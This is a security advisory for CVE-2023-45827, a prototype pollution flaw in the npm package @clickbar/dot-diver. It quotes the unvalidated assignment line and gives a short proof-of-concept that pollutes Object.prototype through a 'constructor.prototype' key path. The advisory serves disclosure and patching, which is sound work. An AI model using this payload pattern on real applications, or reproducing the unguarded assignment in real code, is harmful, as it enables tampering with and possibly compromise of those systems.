GHSA-9w5f-mw3p-pj47

Source

https://github.com/advisories/GHSA-9w5f-mw3p-pj47

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-9w5f-mw3p-pj47/GHSA-9w5f-mw3p-pj47.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-9w5f-mw3p-pj47

Aliases

CVE-2023-45827

Published

2023-11-03T19:03:40Z

Modified

2023-11-08T04:13:40Z

Severity

7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator

Summary

Prototype Pollution(PP) vulnerability in setByPath

Details

Summary

There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.

Details

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277

// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
  objectToSet[lastKey] = value

In this code, there is no validation for Prototpye Pollution.

PoC

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

Impact

It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.

Credits

Team : NodeBoB

최지혁 ( Jihyeok Choi )

이동하 ( Lee Dong Ha of ZeroPointer Lab )

강성현 ( kang seonghyeun )

박성진 ( sungjin park )

김찬호 ( Chanho Kim )

이수영 ( Lee Su Young )

김민욱 ( MinUk Kim )

Database specific

{
    "cwe_ids":  [
        "CWE-1321"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2023-11-03T19:03:40Z",
    "nvd_published_at":  "2023-11-06T18:15:08Z",
    "severity":  "HIGH"
}

References

Affected packages

npm / @clickbar/dot-diver

Package

Name: @clickbar/dot-diver; View open source insights on deps.dev
Purl: pkg:npm/%40clickbar/dot-diver

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

1.0.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-9w5f-mw3p-pj47/GHSA-9w5f-mw3p-pj47.json"